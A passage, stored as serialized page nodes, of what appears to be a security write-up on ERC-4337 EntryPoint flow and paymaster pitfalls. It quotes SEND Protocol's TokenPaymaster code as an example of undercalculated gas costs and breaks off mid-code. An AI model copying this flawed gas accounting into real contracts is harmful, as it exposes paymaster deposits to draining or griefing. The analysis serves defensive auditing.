",{"type":23,"tag":92,"props":101328,"children":101331},{"href":101329,"rel":101330},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L629",[96],[101332],{"type":28,"value":37272},{"type":28,"value":5441},{"type":23,"tag":56,"props":101335,"children":101337},{"className":101336},[],[101338],{"type":28,"value":101121},{"type":28,"value":101340}," on the paymaster contract to verify it will cover gas costs",{"type":23,"tag":24,"props":101342,"children":101343},{},[101344,101346,101351,101353,101358],{"type":28,"value":101345},"Only after all these validation checks pass will the ",{"type":23,"tag":56,"props":101347,"children":101349},{"className":101348},[],[101350],{"type":28,"value":101014},{"type":28,"value":101352}," move on to actually executing the ",{"type":23,"tag":56,"props":101354,"children":101356},{"className":101355},[],[101357],{"type":28,"value":100933},{"type":28,"value":101359},". This strict validation flow ensures that:",{"type":23,"tag":350,"props":101361,"children":101362},{},[101363,101368,101373,101378],{"type":23,"tag":45,"props":101364,"children":101365},{},[101366],{"type":28,"value":101367},"The operation is legitimate and authorized by the user",{"type":23,"tag":45,"props":101369,"children":101370},{},[101371],{"type":28,"value":101372},"Sufficient funds are available to cover gas (either from user or paymaster)",{"type":23,"tag":45,"props":101374,"children":101375},{},[101376],{"type":28,"value":101377},"The operation cannot be replayed",{"type":23,"tag":45,"props":101379,"children":101380},{},[101381],{"type":28,"value":101382},"All involved contracts (sender and paymaster) have approved the execution",{"type":23,"tag":24,"props":101384,"children":101385},{},[101386],{"type":28,"value":101387},"This multi-layered validation approach is crucial for maintaining security when processing operations that can involve complex smart account logic and third-party gas sponsorship.",{"type":23,"tag":82,"props":101389,"children":101391},{"id":101390},"execution-phase",[101392],{"type":28,"value":101393},"Execution Phase",{"type":23,"tag":24,"props":101395,"children":101396},{},[101397,101399,101404,101406,101413,101415,101420],{"type":28,"value":101398},"After all operations have passed validation, the ",{"type":23,"tag":56,"props":101400,"children":101402},{"className":101401},[],[101403],{"type":28,"value":101014},{"type":28,"value":101405}," begins the ",{"type":23,"tag":92,"props":101407,"children":101410},{"href":101408,"rel":101409},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L70-L72",[96],[101411],{"type":28,"value":101412},"execution",{"type":28,"value":101414}," phase, processing each ",{"type":23,"tag":56,"props":101416,"children":101418},{"className":101417},[],[101419],{"type":28,"value":100933},{"type":28,"value":101421}," individually. For each operation, the flow is:",{"type":23,"tag":41,"props":101423,"children":101424},{},[101425,101485,101531],{"type":23,"tag":45,"props":101426,"children":101427},{},[101428,101429,101434,101436,101442,101443,101449,101451],{"type":28,"value":15592},{"type":23,"tag":56,"props":101430,"children":101432},{"className":101431},[],[101433],{"type":28,"value":101014},{"type":28,"value":101435}," makes a ",{"type":23,"tag":92,"props":101437,"children":101440},{"href":101438,"rel":101439},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L213-L232",[96],[101441],{"type":28,"value":37272},{"type":28,"value":55755},{"type":23,"tag":56,"props":101444,"children":101446},{"className":101445},[],[101447],{"type":28,"value":101448},"innerHandleOp()",{"type":28,"value":101450},", which:\n",{"type":23,"tag":350,"props":101452,"children":101453},{},[101454,101466,101471],{"type":23,"tag":45,"props":101455,"children":101456},{},[101457,101464],{"type":23,"tag":92,"props":101458,"children":101461},{"href":101459,"rel":101460},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L403",[96],[101462],{"type":28,"value":101463},"Forwards",{"type":28,"value":101465}," the operation to the sender's smart account contract",{"type":23,"tag":45,"props":101467,"children":101468},{},[101469],{"type":28,"value":101470},"Executes the intended transaction(s) within the smart account",{"type":23,"tag":45,"props":101472,"children":101473},{},[101474,101476,101483],{"type":28,"value":101475},"Handles ",{"type":23,"tag":92,"props":101477,"children":101480},{"href":101478,"rel":101479},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L821",[96],[101481],{"type":28,"value":101482},"post-execution",{"type":28,"value":101484}," tasks and cleanup",{"type":23,"tag":45,"props":101486,"children":101487},{},[101488,101490,101496,101498,101504,101505,101511,101513],{"type":28,"value":101489},"If a paymaster was used, ",{"type":23,"tag":56,"props":101491,"children":101493},{"className":101492},[],[101494],{"type":28,"value":101495},"Entrypoint",{"type":28,"value":101497}," will ",{"type":23,"tag":92,"props":101499,"children":101502},{"href":101500,"rel":101501},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L848-L857",[96],[101503],{"type":28,"value":37272},{"type":28,"value":5441},{"type":23,"tag":56,"props":101506,"children":101508},{"className":101507},[],[101509],{"type":28,"value":101510},"paymaster.postOp()",{"type":28,"value":101512}," to:\n",{"type":23,"tag":350,"props":101514,"children":101515},{},[101516,101521,101526],{"type":23,"tag":45,"props":101517,"children":101518},{},[101519],{"type":28,"value":101520},"Allow paymaster to finalize its accounting",{"type":23,"tag":45,"props":101522,"children":101523},{},[101524],{"type":28,"value":101525},"Process any refunds or additional charges",{"type":23,"tag":45,"props":101527,"children":101528},{},[101529],{"type":28,"value":101530},"Complete any paymaster-specific logic",{"type":23,"tag":45,"props":101532,"children":101533},{},[101534,101536,101541,101542,101549,101551],{"type":28,"value":101535},"Finally, after all operations are processed, the ",{"type":23,"tag":56,"props":101537,"children":101539},{"className":101538},[],[101540],{"type":28,"value":101014},{"type":28,"value":5441},{"type":23,"tag":92,"props":101543,"children":101546},{"href":101544,"rel":101545},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L74",[96],[101547],{"type":28,"value":101548},"compensates",{"type":28,"value":101550}," the bundler for:\n",{"type":23,"tag":350,"props":101552,"children":101553},{},[101554,101559,101564],{"type":23,"tag":45,"props":101555,"children":101556},{},[101557],{"type":28,"value":101558},"Gas costs from executing all operations",{"type":23,"tag":45,"props":101560,"children":101561},{},[101562],{"type":28,"value":101563},"Overhead from submitting the batch transaction",{"type":23,"tag":45,"props":101565,"children":101566},{},[101567],{"type":28,"value":101568},"Any unused gas, which is refunded",{"type":23,"tag":24,"props":101570,"children":101571},{},[101572],{"type":28,"value":101573},"This execution flow ensures secure and atomic operation execution, accurate tracking and settlement of gas costs, support for custom paymaster payment logic, and proper compensation for bundlers who provide the transaction submission service.",{"type":23,"tag":24,"props":101575,"children":101576},{},[101577,101579,101584,101586,101592,101594,101599],{"type":28,"value":101578},"Now that we understand how the ",{"type":23,"tag":56,"props":101580,"children":101582},{"className":101581},[],[101583],{"type":28,"value":101014},{"type":28,"value":101585}," works at a high level, let's examine how some protocols have failed to properly implement ",{"type":23,"tag":56,"props":101587,"children":101589},{"className":101588},[],[101590],{"type":28,"value":101591},"paymasters",{"type":28,"value":101593}," that align with the ",{"type":23,"tag":56,"props":101595,"children":101597},{"className":101596},[],[101598],{"type":28,"value":101014},{"type":28,"value":101600},"'s execution model, leading to potential vulnerabilities.",{"type":23,"tag":34349,"props":101602,"children":101604},{"id":101603},"common-pitfalls-in-paymaster-implementation",[101605],{"type":28,"value":101606},"Common Pitfalls in Paymaster Implementation",{"type":23,"tag":24,"props":101608,"children":101609},{},[101610,101612,101617],{"type":28,"value":101611},"While paymasters offer powerful flexibility, they also introduce new complexity, and with it, room for subtle bugs. Missteps in paymaster design can not only break gas sponsorship flows, but also expose their deposited ETH in the ",{"type":23,"tag":56,"props":101613,"children":101615},{"className":101614},[],[101616],{"type":28,"value":101014},{"type":28,"value":101618}," to exploitation or griefing.",{"type":23,"tag":24,"props":101620,"children":101621},{},[101622,101624,101629],{"type":28,"value":101623},"In this section, we’ll walk through the ",{"type":23,"tag":296,"props":101625,"children":101626},{},[101627],{"type":28,"value":101628},"two most common pitfalls",{"type":28,"value":101630}," we’ve observed in real-world paymaster implementations:",{"type":23,"tag":70,"props":101632,"children":101634},{"id":101633},"undercalculated-gas-costs",[101635],{"type":23,"tag":296,"props":101636,"children":101637},{},[101638],{"type":28,"value":101639},"Undercalculated Gas Costs",{"type":23,"tag":24,"props":101641,"children":101642},{},[101643,101645,101650,101652,101657,101659,101664,101666,101673],{"type":28,"value":101644},"To understand this issue, let's first examine how gas penalties work in the ",{"type":23,"tag":56,"props":101646,"children":101648},{"className":101647},[],[101649],{"type":28,"value":101014},{"type":28,"value":101651},". When a ",{"type":23,"tag":56,"props":101653,"children":101655},{"className":101654},[],[101656],{"type":28,"value":100933},{"type":28,"value":101658}," specifies an execution gas limit higher than what's actually used during execution, the ",{"type":23,"tag":56,"props":101660,"children":101662},{"className":101661},[],[101663],{"type":28,"value":101014},{"type":28,"value":101665}," charges a ",{"type":23,"tag":92,"props":101667,"children":101670},{"href":101668,"rel":101669},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L718-L728",[96],[101671],{"type":28,"value":101672},"penalty of 10%",{"type":28,"value":101674}," of the unused gas. This penalty is paid to the bundler and is deducted from either the user's deposit (for regular transactions) or the paymaster's deposit (when using a paymaster).",{"type":23,"tag":24,"props":101676,"children":101677},{},[101678],{"type":28,"value":101679},"Now, let's examine a real-world example of how this penalty mechanism could impact paymasters. The SEND Protocol's paymaster implementation provides an instructive case study:",{"type":23,"tag":494,"props":101681,"children":101683},{"className":3455,"code":101682,"language":3454,"meta":7,"style":7},"contract TokenPaymaster is BasePaymaster, UniswapHelper, OracleHelper {\n[...]\n    function _validatePaymasterUserOp(PackedUserOperation calldata userOp, bytes32, uint256 requiredPreFund)\n        internal\n        override\n        returns (bytes memory context, uint256 validationResult)\n    {\n        unchecked {\n            uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n            uint256 baseFee = tokenPaymasterConfig.baseFee;\n            uint256 dataLength = userOp.paymasterAndData.length - PAYMASTER_DATA_OFFSET;\n            require(dataLength == 0 || dataLength == 32, \"TPM: invalid data length\");\n            uint256 maxFeePerGas = userOp.unpackMaxFeePerGas();\n            uint256 refundPostopCost = tokenPaymasterConfig.refundPostopCost;\n            require(refundPostopCost \u003C userOp.unpackPostOpGasLimit(), \"TPM: postOpGasLimit too low\");\n            uint256 preChargeNative = requiredPreFund + (refundPostopCost * maxFeePerGas);\n            // note: price is in native-asset-per-token increasing it means dividing it by markup\n            uint256 cachedPriceWithMarkup = cachedPrice * DENOM / priceMarkup;\n            if (dataLength == 32) {\n                uint256 clientSuppliedPrice =\n                    uint256(bytes32(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET:PAYMASTER_DATA_OFFSET + 32]));\n                if (clientSuppliedPrice \u003C cachedPriceWithMarkup) {\n                    // note: smaller number means 'more native asset per token'\n                    cachedPriceWithMarkup = clientSuppliedPrice;\n                }\n            }\n            uint256 tokenAmount = weiToToken(preChargeNative, cachedPriceWithMarkup);\n            tokenAmount += baseFee;\n            SafeERC20.safeTransferFrom(token, userOp.sender, address(this), tokenAmount);\n            context = abi.encode(tokenAmount, userOp.sender);\n            validationResult =\n                _packValidationData(false, uint48(cachedPriceTimestamp + tokenPaymasterConfig.priceMaxAge), 0);\n        }\n    }\n[...]\n    function _postOp(PostOpMode, bytes calldata context, uint256 actualGasCost, uint256 actualUserOpFeePerGas)\n        internal\n        override\n    {\n        unchecked {\n            uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n            uint256 baseFee = tokenPaymasterConfig.baseFee;\n            (uint256 preCharge, address userOpSender) = abi.decode(context, (uint256, address));\n            preCharge -= baseFee; // don't refund the base fee\n            uint256 _cachedPrice = updateCachedPrice(false);\n            // note: price is in native-asset-per-token increasing it means dividing it by markup\n            uint256 cachedPriceWithMarkup = _cachedPrice * DENOM / priceMarkup;\n            // Refund tokens based on actual gas cost\n            uint256 actualChargeNative = actualGasCost + tokenPaymasterConfig.refundPostopCost * actualUserOpFeePerGas;\n            uint256 actualTokenNeeded = weiToToken(actualChargeNative, cachedPriceWithMarkup);\n            if (preCharge > actualTokenNeeded) {\n                // If initially provided token amount is greater than the actual amount needed, refund the difference\n                SafeERC20.safeTransfer(token, userOpSender, preCharge - actualTokenNeeded);\n            } else if (preCharge \u003C actualTokenNeeded) {\n                // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n                // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n                SafeERC20.safeTransferFrom(token, userOpSender, address(this), actualTokenNeeded - preCharge);\n            }\n\n            if (baseFee > 0) {\n                SafeERC20.safeTransfer(token, tokenPaymasterConfig.rewardsPool, baseFee);\n            }\n\n            emit UserOperationSponsored(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n            refillEntryPointDeposit(_cachedPrice);\n        }\n    }\n}\n",[101684],{"type":23,"tag":56,"props":101685,"children":101686},{"__ignoreMap":7},[101687,101731,101738,101795,101803,101811,101853,101860,101872,101894,101915,101945,101996,102026,102047,102085,102124,102141,102180,102204,102221,102264,102286,102303,102320,102327,102334,102360,102377,102412,102443,102455,102502,102509,102516,102523,102590,102597,102604,102611,102622,102641,102660,102724,102747,102780,102795,102830,102838,102877,102902,102923,102931,102958,102985,102993,103001,103043,103050,103057,103081,103097,103104,103111,103129,103142,103149,103157],{"type":23,"tag":504,"props":101688,"children":101689},{"class":506,"line":507},[101690,101694,101699,101704,101709,101713,101718,101722,101727],{"type":23,"tag":504,"props":101691,"children":101692},{"style":511},[101693],{"type":28,"value":88565},{"type":23,"tag":504,"props":101695,"children":101696},{"style":1012},[101697],{"type":28,"value":101698}," TokenPaymaster",{"type":23,"tag":504,"props":101700,"children":101701},{"style":511},[101702],{"type":28,"value":101703}," is",{"type":23,"tag":504,"props":101705,"children":101706},{"style":1012},[101707],{"type":28,"value":101708}," BasePaymaster",{"type":23,"tag":504,"props":101710,"children":101711},{"style":523},[101712],{"type":28,"value":576},{"type":23,"tag":504,"props":101714,"children":101715},{"style":1012},[101716],{"type":28,"value":101717},"UniswapHelper",{"type":23,"tag":504,"props":101719,"children":101720},{"style":523},[101721],{"type":28,"value":576},{"type":23,"tag":504,"props":101723,"children":101724},{"style":1012},[101725],{"type":28,"value":101726},"OracleHelper",{"type":23,"tag":504,"props":101728,"children":101729},{"style":523},[101730],{"type":28,"value":552},{"type":23,"tag":504,"props":101732,"children":101733},{"class":506,"line":540},[101734],{"type":23,"tag":504,"props":101735,"children":101736},{"style":523},[101737],{"type":28,"value":9299},{"type":23,"tag":504,"props":101739,"children":101740},{"class":506,"line":555},[101741,101745,101750,101754,101759,101764,101769,101773,101778,101782,101786,101791],{"type":23,"tag":504,"props":101742,"children":101743},{"style":511},[101744],{"type":28,"value":88582},{"type":23,"tag":504,"props":101746,"children":101747},{"style":517},[101748],{"type":28,"value":101749}," _validatePaymasterUserOp",{"type":23,"tag":504,"props":101751,"children":101752},{"style":523},[101753],{"type":28,"value":526},{"type":23,"tag":504,"props":101755,"children":101756},{"style":511},[101757],{"type":28,"value":101758},"PackedUserOperation",{"type":23,"tag":504,"props":101760,"children":101761},{"style":511},[101762],{"type":28,"value":101763}," calldata",{"type":23,"tag":504,"props":101765,"children":101766},{"style":529},[101767],{"type":28,"value":101768}," userOp",{"type":23,"tag":504,"props":101770,"children":101771},{"style":523},[101772],{"type":28,"value":576},{"type":23,"tag":504,"props":101774,"children":101775},{"style":1012},[101776],{"type":28,"value":101777},"bytes32",{"type":23,"tag":504,"props":101779,"children":101780},{"style":523},[101781],{"type":28,"value":576},{"type":23,"tag":504,"props":101783,"children":101784},{"style":1012},[101785],{"type":28,"value":45147},{"type":23,"tag":504,"props":101787,"children":101788},{"style":529},[101789],{"type":28,"value":101790}," requiredPreFund",{"type":23,"tag":504,"props":101792,"children":101793},{"style":523},[101794],{"type":28,"value":1192},{"type":23,"tag":504,"props":101796,"children":101797},{"class":506,"line":633},[101798],{"type":23,"tag":504,"props":101799,"children":101800},{"style":511},[101801],{"type":28,"value":101802},"        internal\n",{"type":23,"tag":504,"props":101804,"children":101805},{"class":506,"line":687},[101806],{"type":23,"tag":504,"props":101807,"children":101808},{"style":511},[101809],{"type":28,"value":101810},"        override\n",{"type":23,"tag":504,"props":101812,"children":101813},{"class":506,"line":736},[101814,101819,101823,101827,101832,101836,101840,101844,101849],{"type":23,"tag":504,"props":101815,"children":101816},{"style":544},[101817],{"type":28,"value":101818},"        returns",{"type":23,"tag":504,"props":101820,"children":101821},{"style":523},[101822],{"type":28,"value":801},{"type":23,"tag":504,"props":101824,"children":101825},{"style":1012},[101826],{"type":28,"value":82579},{"type":23,"tag":504,"props":101828,"children":101829},{"style":511},[101830],{"type":28,"value":101831}," memory",{"type":23,"tag":504,"props":101833,"children":101834},{"style":529},[101835],{"type":28,"value":75091},{"type":23,"tag":504,"props":101837,"children":101838},{"style":523},[101839],{"type":28,"value":576},{"type":23,"tag":504,"props":101841,"children":101842},{"style":1012},[101843],{"type":28,"value":45147},{"type":23,"tag":504,"props":101845,"children":101846},{"style":529},[101847],{"type":28,"value":101848}," validationResult",{"type":23,"tag":504,"props":101850,"children":101851},{"style":523},[101852],{"type":28,"value":1192},{"type":23,"tag":504,"props":101854,"children":101855},{"class":506,"line":785},[101856],{"type":23,"tag":504,"props":101857,"children":101858},{"style":523},[101859],{"type":28,"value":28168},{"type":23,"tag":504,"props":101861,"children":101862},{"class":506,"line":813},[101863,101868],{"type":23,"tag":504,"props":101864,"children":101865},{"style":544},[101866],{"type":28,"value":101867},"        unchecked",{"type":23,"tag":504,"props":101869,"children":101870},{"style":523},[101871],{"type":28,"value":552},{"type":23,"tag":504,"props":101873,"children":101874},{"class":506,"line":851},[101875,101880,101885,101889],{"type":23,"tag":504,"props":101876,"children":101877},{"style":1012},[101878],{"type":28,"value":101879},"            uint256",{"type":23,"tag":504,"props":101881,"children":101882},{"style":523},[101883],{"type":28,"value":101884}," priceMarkup ",{"type":23,"tag":504,"props":101886,"children":101887},{"style":598},[101888],{"type":28,"value":601},{"type":23,"tag":504,"props":101890,"children":101891},{"style":523},[101892],{"type":28,"value":101893}," tokenPaymasterConfig.priceMarkup;\n",{"type":23,"tag":504,"props":101895,"children":101896},{"class":506,"line":869},[101897,101901,101906,101910],{"type":23,"tag":504,"props":101898,"children":101899},{"style":1012},[101900],{"type":28,"value":101879},{"type":23,"tag":504,"props":101902,"children":101903},{"style":523},[101904],{"type":28,"value":101905}," baseFee ",{"type":23,"tag":504,"props":101907,"children":101908},{"style":598},[101909],{"type":28,"value":601},{"type":23,"tag":504,"props":101911,"children":101912},{"style":523},[101913],{"type":28,"value":101914}," tokenPaymasterConfig.baseFee;\n",{"type":23,"tag":504,"props":101916,"children":101917},{"class":506,"line":878},[101918,101922,101927,101931,101936,101940],{"type":23,"tag":504,"props":101919,"children":101920},{"style":1012},[101921],{"type":28,"value":101879},{"type":23,"tag":504,"props":101923,"children":101924},{"style":523},[101925],{"type":28,"value":101926}," dataLength ",{"type":23,"tag":504,"props":101928,"children":101929},{"style":598},[101930],{"type":28,"value":601},{"type":23,"tag":504,"props":101932,"children":101933},{"style":523},[101934],{"type":28,"value":101935}," userOp.paymasterAndData.length ",{"type":23,"tag":504,"props":101937,"children":101938},{"style":598},[101939],{"type":28,"value":3308},{"type":23,"tag":504,"props":101941,"children":101942},{"style":523},[101943],{"type":28,"value":101944}," PAYMASTER_DATA_OFFSET;\n",{"type":23,"tag":504,"props":101946,"children":101947},{"class":506,"line":1221},[101948,101953,101958,101962,101966,101970,101974,101978,101983,101987,101992],{"type":23,"tag":504,"props":101949,"children":101950},{"style":544},[101951],{"type":28,"value":101952},"            require",{"type":23,"tag":504,"props":101954,"children":101955},{"style":523},[101956],{"type":28,"value":101957},"(dataLength ",{"type":23,"tag":504,"props":101959,"children":101960},{"style":598},[101961],{"type":28,"value":7559},{"type":23,"tag":504,"props":101963,"children":101964},{"style":1440},[101965],{"type":28,"value":2023},{"type":23,"tag":504,"props":101967,"children":101968},{"style":598},[101969],{"type":28,"value":22679},{"type":23,"tag":504,"props":101971,"children":101972},{"style":523},[101973],{"type":28,"value":101926},{"type":23,"tag":504,"props":101975,"children":101976},{"style":598},[101977],{"type":28,"value":7559},{"type":23,"tag":504,"props":101979,"children":101980},{"style":1440},[101981],{"type":28,"value":101982}," 32",{"type":23,"tag":504,"props":101984,"children":101985},{"style":523},[101986],{"type":28,"value":576},{"type":23,"tag":504,"props":101988,"children":101989},{"style":622},[101990],{"type":28,"value":101991},"\"TPM: invalid data length\"",{"type":23,"tag":504,"props":101993,"children":101994},{"style":523},[101995],{"type":28,"value":630},{"type":23,"tag":504,"props":101997,"children":101998},{"class":506,"line":1276},[101999,102003,102008,102012,102017,102022],{"type":23,"tag":504,"props":102000,"children":102001},{"style":1012},[102002],{"type":28,"value":101879},{"type":23,"tag":504,"props":102004,"children":102005},{"style":523},[102006],{"type":28,"value":102007}," maxFeePerGas ",{"type":23,"tag":504,"props":102009,"children":102010},{"style":598},[102011],{"type":28,"value":601},{"type":23,"tag":504,"props":102013,"children":102014},{"style":523},[102015],{"type":28,"value":102016}," userOp.",{"type":23,"tag":504,"props":102018,"children":102019},{"style":517},[102020],{"type":28,"value":102021},"unpackMaxFeePerGas",{"type":23,"tag":504,"props":102023,"children":102024},{"style":523},[102025],{"type":28,"value":2647},{"type":23,"tag":504,"props":102027,"children":102028},{"class":506,"line":1285},[102029,102033,102038,102042],{"type":23,"tag":504,"props":102030,"children":102031},{"style":1012},[102032],{"type":28,"value":101879},{"type":23,"tag":504,"props":102034,"children":102035},{"style":523},[102036],{"type":28,"value":102037}," refundPostopCost ",{"type":23,"tag":504,"props":102039,"children":102040},{"style":598},[102041],{"type":28,"value":601},{"type":23,"tag":504,"props":102043,"children":102044},{"style":523},[102045],{"type":28,"value":102046}," tokenPaymasterConfig.refundPostopCost;\n",{"type":23,"tag":504,"props":102048,"children":102049},{"class":506,"line":1294},[102050,102054,102059,102063,102067,102072,102076,102081],{"type":23,"tag":504,"props":102051,"children":102052},{"style":544},[102053],{"type":28,"value":101952},{"type":23,"tag":504,"props":102055,"children":102056},{"style":523},[102057],{"type":28,"value":102058},"(refundPostopCost ",{"type":23,"tag":504,"props":102060,"children":102061},{"style":598},[102062],{"type":28,"value":4789},{"type":23,"tag":504,"props":102064,"children":102065},{"style":523},[102066],{"type":28,"value":102016},{"type":23,"tag":504,"props":102068,"children":102069},{"style":517},[102070],{"type":28,"value":102071},"unpackPostOpGasLimit",{"type":23,"tag":504,"props":102073,"children":102074},{"style":523},[102075],{"type":28,"value":17355},{"type":23,"tag":504,"props":102077,"children":102078},{"style":622},[102079],{"type":28,"value":102080},"\"TPM: postOpGasLimit too low\"",{"type":23,"tag":504,"props":102082,"children":102083},{"style":523},[102084],{"type":28,"value":630},{"type":23,"tag":504,"props":102086,"children":102087},{"class":506,"line":1302},[102088,102092,102097,102101,102106,102110,102115,102119],{"type":23,"tag":504,"props":102089,"children":102090},{"style":1012},[102091],{"type":28,"value":101879},{"type":23,"tag":504,"props":102093,"children":102094},{"style":523},[102095],{"type":28,"value":102096}," preChargeNative ",{"type":23,"tag":504,"props":102098,"children":102099},{"style":598},[102100],{"type":28,"value":601},{"type":23,"tag":504,"props":102102,"children":102103},{"style":523},[102104],{"type":28,"value":102105}," requiredPreFund ",{"type":23,"tag":504,"props":102107,"children":102108},{"style":598},[102109],{"type":28,"value":1642},{"type":23,"tag":504,"props":102111,"children":102112},{"style":523},[102113],{"type":28,"value":102114}," (refundPostopCost ",{"type":23,"tag":504,"props":102116,"children":102117},{"style":598},[102118],{"type":28,"value":3552},{"type":23,"tag":504,"props":102120,"children":102121},{"style":523},[102122],{"type":28,"value":102123}," maxFeePerGas);\n",{"type":23,"tag":504,"props":102125,"children":102126},{"class":506,"line":1311},[102127,102132,102136],{"type":23,"tag":504,"props":102128,"children":102129},{"style":1106},[102130],{"type":28,"value":102131},"            // ",{"type":23,"tag":504,"props":102133,"children":102134},{"style":511},[102135],{"type":28,"value":65739},{"type":23,"tag":504,"props":102137,"children":102138},{"style":1106},[102139],{"type":28,"value":102140},": price is in native-asset-per-token increasing it means dividing it by markup\n",{"type":23,"tag":504,"props":102142,"children":102143},{"class":506,"line":1334},[102144,102148,102153,102157,102162,102166,102171,102175],{"type":23,"tag":504,"props":102145,"children":102146},{"style":1012},[102147],{"type":28,"value":101879},{"type":23,"tag":504,"props":102149,"children":102150},{"style":523},[102151],{"type":28,"value":102152}," cachedPriceWithMarkup ",{"type":23,"tag":504,"props":102154,"children":102155},{"style":598},[102156],{"type":28,"value":601},{"type":23,"tag":504,"props":102158,"children":102159},{"style":523},[102160],{"type":28,"value":102161}," cachedPrice ",{"type":23,"tag":504,"props":102163,"children":102164},{"style":598},[102165],{"type":28,"value":3552},{"type":23,"tag":504,"props":102167,"children":102168},{"style":523},[102169],{"type":28,"value":102170}," DENOM ",{"type":23,"tag":504,"props":102172,"children":102173},{"style":598},[102174],{"type":28,"value":3562},{"type":23,"tag":504,"props":102176,"children":102177},{"style":523},[102178],{"type":28,"value":102179}," priceMarkup;\n",{"type":23,"tag":504,"props":102181,"children":102182},{"class":506,"line":1370},[102183,102187,102192,102196,102200],{"type":23,"tag":504,"props":102184,"children":102185},{"style":544},[102186],{"type":28,"value":57780},{"type":23,"tag":504,"props":102188,"children":102189},{"style":523},[102190],{"type":28,"value":102191}," (dataLength ",{"type":23,"tag":504,"props":102193,"children":102194},{"style":598},[102195],{"type":28,"value":7559},{"type":23,"tag":504,"props":102197,"children":102198},{"style":1440},[102199],{"type":28,"value":101982},{"type":23,"tag":504,"props":102201,"children":102202},{"style":523},[102203],{"type":28,"value":537},{"type":23,"tag":504,"props":102205,"children":102206},{"class":506,"line":1384},[102207,102212,102217],{"type":23,"tag":504,"props":102208,"children":102209},{"style":1012},[102210],{"type":28,"value":102211},"                uint256",{"type":23,"tag":504,"props":102213,"children":102214},{"style":523},[102215],{"type":28,"value":102216}," clientSuppliedPrice ",{"type":23,"tag":504,"props":102218,"children":102219},{"style":598},[102220],{"type":28,"value":13674},{"type":23,"tag":504,"props":102222,"children":102223},{"class":506,"line":1392},[102224,102229,102233,102237,102242,102246,102251,102255,102259],{"type":23,"tag":504,"props":102225,"children":102226},{"style":1012},[102227],{"type":28,"value":102228},"                    uint256",{"type":23,"tag":504,"props":102230,"children":102231},{"style":523},[102232],{"type":28,"value":526},{"type":23,"tag":504,"props":102234,"children":102235},{"style":1012},[102236],{"type":28,"value":101777},{"type":23,"tag":504,"props":102238,"children":102239},{"style":523},[102240],{"type":28,"value":102241},"(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET",{"type":23,"tag":504,"props":102243,"children":102244},{"style":598},[102245],{"type":28,"value":3472},{"type":23,"tag":504,"props":102247,"children":102248},{"style":523},[102249],{"type":28,"value":102250},"PAYMASTER_DATA_OFFSET ",{"type":23,"tag":504,"props":102252,"children":102253},{"style":598},[102254],{"type":28,"value":1642},{"type":23,"tag":504,"props":102256,"children":102257},{"style":1440},[102258],{"type":28,"value":101982},{"type":23,"tag":504,"props":102260,"children":102261},{"style":523},[102262],{"type":28,"value":102263},"]));\n",{"type":23,"tag":504,"props":102265,"children":102266},{"class":506,"line":1400},[102267,102272,102277,102281],{"type":23,"tag":504,"props":102268,"children":102269},{"style":544},[102270],{"type":28,"value":102271},"                if",{"type":23,"tag":504,"props":102273,"children":102274},{"style":523},[102275],{"type":28,"value":102276}," (clientSuppliedPrice ",{"type":23,"tag":504,"props":102278,"children":102279},{"style":598},[102280],{"type":28,"value":4789},{"type":23,"tag":504,"props":102282,"children":102283},{"style":523},[102284],{"type":28,"value":102285}," cachedPriceWithMarkup) {\n",{"type":23,"tag":504,"props":102287,"children":102288},{"class":506,"line":1422},[102289,102294,102298],{"type":23,"tag":504,"props":102290,"children":102291},{"style":1106},[102292],{"type":28,"value":102293},"                    // ",{"type":23,"tag":504,"props":102295,"children":102296},{"style":511},[102297],{"type":28,"value":65739},{"type":23,"tag":504,"props":102299,"children":102300},{"style":1106},[102301],{"type":28,"value":102302},": smaller number means 'more native asset per token'\n",{"type":23,"tag":504,"props":102304,"children":102305},{"class":506,"line":1450},[102306,102311,102315],{"type":23,"tag":504,"props":102307,"children":102308},{"style":523},[102309],{"type":28,"value":102310},"                    cachedPriceWithMarkup ",{"type":23,"tag":504,"props":102312,"children":102313},{"style":598},[102314],{"type":28,"value":601},{"type":23,"tag":504,"props":102316,"children":102317},{"style":523},[102318],{"type":28,"value":102319}," clientSuppliedPrice;\n",{"type":23,"tag":504,"props":102321,"children":102322},{"class":506,"line":1463},[102323],{"type":23,"tag":504,"props":102324,"children":102325},{"style":523},[102326],{"type":28,"value":1714},{"type":23,"tag":504,"props":102328,"children":102329},{"class":506,"line":1485},[102330],{"type":23,"tag":504,"props":102331,"children":102332},{"style":523},[102333],{"type":28,"value":1282},{"type":23,"tag":504,"props":102335,"children":102336},{"class":506,"line":1503},[102337,102341,102346,102350,102355],{"type":23,"tag":504,"props":102338,"children":102339},{"style":1012},[102340],{"type":28,"value":101879},{"type":23,"tag":504,"props":102342,"children":102343},{"style":523},[102344],{"type":28,"value":102345}," tokenAmount ",{"type":23,"tag":504,"props":102347,"children":102348},{"style":598},[102349],{"type":28,"value":601},{"type":23,"tag":504,"props":102351,"children":102352},{"style":517},[102353],{"type":28,"value":102354}," weiToToken",{"type":23,"tag":504,"props":102356,"children":102357},{"style":523},[102358],{"type":28,"value":102359},"(preChargeNative, cachedPriceWithMarkup);\n",{"type":23,"tag":504,"props":102361,"children":102362},{"class":506,"line":1516},[102363,102368,102372],{"type":23,"tag":504,"props":102364,"children":102365},{"style":523},[102366],{"type":28,"value":102367},"            tokenAmount ",{"type":23,"tag":504,"props":102369,"children":102370},{"style":598},[102371],{"type":28,"value":67418},{"type":23,"tag":504,"props":102373,"children":102374},{"style":523},[102375],{"type":28,"value":102376}," 